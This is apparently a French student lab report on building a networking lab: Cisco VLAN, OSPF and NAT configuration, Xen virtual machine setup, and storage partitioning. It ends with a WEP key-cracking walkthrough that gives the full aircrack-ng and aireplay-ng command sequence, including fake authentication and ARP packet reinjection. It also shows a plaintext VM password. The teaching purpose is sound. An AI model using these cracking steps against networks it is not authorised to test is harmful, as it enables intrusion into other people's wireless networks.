TP sysres IMA5sc 2020/2021 G1
TP PRA - Evan Gury & Vincent Dubois - trompettedelamort
Informations générales
Groupe | Domaine | Distribution | VLAN privé | IP (VLAN333) | Netmask (VLAN333) | Gateway (VLAN333) | Gateway 6509-E (VLAN333) | Gateway 9200 (VLAN333) | IP (publique) |
---|---|---|---|---|---|---|---|---|---|
Groupe 1 | trompettedelamort.site | Debian 10 Buster | 301 | 100.64.0.28 | 255.255.255.0 | 100.64.0.254 | 100.64.0.1 | 100.64.0.2 | 193.48.57.188 |
Architecture réseau
Infrastructure physique
La mise en service de l'infrastructure physique (démarrer les routeurs,connexions physiques entre eux et avec le routeur de l'école) a été principalement réalisés par le groupe 14.
Création des VLANs
On créer deux VLAN:
- VLAN131 pour se connecter au routeur de l'école
- VLAN333 pour accéder aux machines virtuelles sur Capbreton
Cette partie a partiellement été réalisée par le groupe 14 lors de la première séances
Interconnexion avec Internet (IPv4)
Le réseau utilisé pour ce TP est le 193.48.57.176/28 (cohabitation avec les IMA2A5 qui ont 193.48.57.160/27). Nous avons donc a notre disposition 16 adresses IP (193.48.57.176 à 193.48.57.191) parmi lesquelles nous devons réserver :
- 1 adresse pour le réseau
- 1 adresse de Broadcast
- 1 adresse pour le routeur 1 (6509-E)
- 1 adresse pour le routeur 2 (9200)
- 1 adresse flottante pour les routeurs (redondance)
Ce qui nous laisse 11 adresses disponibles pour 13 groupes...Impossible
L'idée est donc de créer un sous réseau 10.64.0.16/28 et de faire de de la Translation d'adresse (NAT) vers 193.48.57.176/28 Nous économisons ainsi les adresses des routeurs et de diffusion qui n'ont pas besoin d’être translatées.
OSPF
L'OSPF permet aux routeurs dans un même domaine d'échanger des informations sur le réseau. Cela permet aux différents routeurs voisins d'avoir de meilleur tables de routages. On réalise donc cette étape sur les deux routeurs pour qu'ils s'echanges leurs tables entre eux mais également avec le routeur de l'école
6509-E
ip route 193.48.57.176 255.255.255.0 null0 #Ajout d'une route vers le routeur pour pouvoir ping directement à partir du routeur
router ospf 1 # un numéro de processus router-id 10.60.0.101 # un id pour le routeur (plus petite adresse disponible) log-adjacency-changes summary-address 193.48.57.176 255.255.255.240 # adresse que l'on souhaite diffuser aux voisins (addresse du VLAN 333) summary-address 100.60.0.0 255.240.0.0 not-advertise # address q'on veut pas diffuser (celle du reseau privé) summary-address 10.0.0.0 255.0.0.0 not-advertise # address q'on veut pas diffuser (?) redistribute connected subnets # autorise la diffusion pour les nouveaux réseaux qui peuvent être connectés redistribute static subnets network 192.168.222.8 0.0.0.7 area 2 # domaine de diffusion OSPF (Attention au masque inversé)
On peut vérifier le bon fonctonnement avec un ping vers l'adresse globale routeur de l'école
ping 193.48.57.48
De plus, on constate de nouvelles routes partagé par le routeur de l'école ("O" au début de la ligne)
show ip route
9200 On fait la meme chose en changeant le router-id : 10.60.0.102
NAT
On cherche à réaliser une translation d'IP (NAT static) et non une mascarade (injection = NAT Dynamic)
ip nat inside source static network 100.64.0.16 193.48.57.176 /28
Cela permet d'associer les adresse non routées de 100.64.0.16 à 100.64.0.28 aux adresse routées de 193.48.57.176 à 193.48.57.188 Il faut ensuite indiquer ques sont les VLAN concernés par la translation:
int vlan 131 ip nat outside exit int vlan 333 ip nat inside exit
Problème association OSPF et NAT
Il semblerait que l'association de l'OSPF et du NAT soit plus complexe que prévu: les deux fonctionnent bien indépendamment mais pas ensemble. En effet, l'OSPF n'annonce pas les routes vers 100.64.0.16/28 donc aucune communication vers l'exterieur n'est possible.
Pour palier à ce problème, on annonce manuellement les routes entre 193.48.57.176 et 100.640.16 (plus de NAT). Dans notre cas:
ip route 193.48.57.188 255.255.255.255 100.64.0.28
Puis on configure notre machine virtuelle de manière a ce qu'elle ait les deux IP (cf. partie suivante).
Les paquets venant de l'extérieur sont propagé à destination de 193.48.57.188 au routeur (6509-E ou 9200) puis vers 100.64.0.28 sur le VLAN333 suivant la route indiquée précédemment. Les paquets émis par notre machine virtuelle sont transmis à la passerelle par défaut (100.64.0.1 si 6509-E ou 100.64.0.2 si 9200) (comme spécifié avec le mot clé "src" lors de l'établissement des routes) puis le routeur connait les routes pour sortir en passant par le routeur de l'école.
Installation de la machine virtuelle
Création de la machine virtuelle
ssh capbreton.plil.info xen-create-image --hostname=trompettedelamort --ip=100.64.0.28 --gateway=100.64.0.2 --netmask=255.255.255.0 --dir=/usr/local/xen --password=pasglop --dist=buster
- Création des disques de stockage sur le serveur de virtualisation (pour tout les binômes):
Sur Capbreton:
- On réquisitionne les deux disques de 2,7To que l'on met dans un groupe
pvcreate /dev/sde pvcreate /dev/sdf vgcreate storage /dev/sde /dev/sdf
- On créer 2 partitions de 10Go pour chaque binôme:
lvcreate -L10G -n trompettedelamort1 storage lvcreate -L10G -n trompettedelamort2 storage ...meme chose pour chaque groupe...
- On formate nos partitions:
mkfs.ext4 /dev/storage/trompettedelamort1 mkfs.ext4 /dev/storage/trompettedelamort2
- Modification du fichier de config de la VM (/etc/xen/trompettedelamort.cfg)
vif = ['bridge=IMA5sc, ip=100.64.0.84, ...']
et on indique quel disque utiliser:
disk = [ 'file:/usr/local/xen/domains/trompettedelamort/disk.img,xvda2,w', 'file:/usr/local/xen/domains/trompettedelamort/swap.img,xvda1,w', 'phy:/dev/storage/trompettedelamort1,xvda3,w', 'phy:/dev/storage/trompettedelamort2,xvda4,w' ]
- Lancer la VM
xl create -c /etc/xen/trompettedelamort.cfg
Ensuite, sur la MV:
- Montage et peuplement des partitions:
mount /dev/xvda3 /mnt/xvda3 mount /dev/xvda4 /mnt/xvda4 mv /var/* /mnt/xvda4 # /home est vide donc rien a déplacer
puis on démonte:
umount /mnt/xvda3 umount /mnt/xvda4
- Modification du fichier /etc/fstab pour monter les répertoires var et home sur les partitions crées. On ajoute:
/dev/xvda3 /home /ext4 default 0 2 /dev/xvda4 /var /ext4 default 0 2
et on applique les modification du fichier fstab:
mount -a
Services Internet
Afin de mettre internet sur nos machines il faut au préalable modifier le fichier /etc/network/interfaces de nos VM:
# The loopback network interface auto lo iface lo inet loopback # The primary network interface auto eth0 iface eth0 inet static address 193.48.57.188 netmask 255.255.255.255 up ip address add dev eth0 100.64.0.28/24 up ip route add default via 100.64.0.2 src 193.48.57.188 down ip address del dev eth0 100.64.0.28/24 down ip route del default via 100.64.0.2 src 193.48.57.188
L'adresse 193.48.57.188 correspond à notre adressé routée, l'adresse 100.64.0.28 est notre adresse sur le vlan333 et l'adresse 100.64.0.2 est l'adresse du routeur/commutateur 9200 sur le vlan333.
Il faut ensuite ajouter la route sur le 9200 pour notre VM. Pour se faire on se connecte en ssh sur la zabeth09:
ssh pifou@zabet09.plil.info
Et ensuite via minicom:
minicom -os /dev/ttyACM0
On rentre la commande suivante (apres avoir fait enable et conf t au préalable):
ip route 193.48.57.188 255.255.255.255 100.64.0.28
Nous avons désormais accès à internet sur nos VM et nous pouvons donc maintenant installer bind9 et configurer notre DNS.
Tests d’intrusion
Cassage de clef WEP d’un point d’accès WiFi
Avec le packetage aircrack-ng il est possible de casser une clef wep.
Pour se faire on récupère le nom de de notre interface WiFi et son adresse MAC avec :
iwconfig
Ensuite pour analyser les packets WiFi qui circulent sur le réseau on se sert de la commande:
airodump-ng nomDeMaCarte
Se faisant, l'interface se met automatiquement en mode monitor.
Il faut ensuite tester le Point d'accés avec une injection test:
aireplay-ng -9 -e nomPA -a MACPA nomDeMaCarte
-9 permet de réaliser un test.
Pour casser la clef WEP, l'algorithme nécessite le plus de vecteur d'initialisation possible. Pour récupérer ces derniers on se sert de la commande suivante:
airodump-ng -c 3 --bssid MACPA -w output nomDeMaCarte
-c 3 correspond au canal sur lequel émet notre PA, et output sera le fichier contenant tous les vecteurs d'initialisations.
Pour accélérer l'acquisition de vecteurs d'initialisations,nous allons récupérer tous les paquets ARP émis par le PA et les réinjecter. A chaque réinjection les PA génère un nouveau vecteur d'initialisation, cette technique permet d'accélérer la collecte des vecteurs.
Pour permettre l'injection de paquet ARP dans le PA il faut d'abord associer la carte et le PA:
aireplay-ng 1 0 -e nomPA -a MACPA -h MACcarte nomDeMaCarte
-1 correspond à une fausse authentification et 0 au délais de réassociation.
Une fois que nous avons collecté suffisament de vecteurs nous pouvons lancer l'algorithme de cassage:
aircrack-ng -b MACPA output*.cap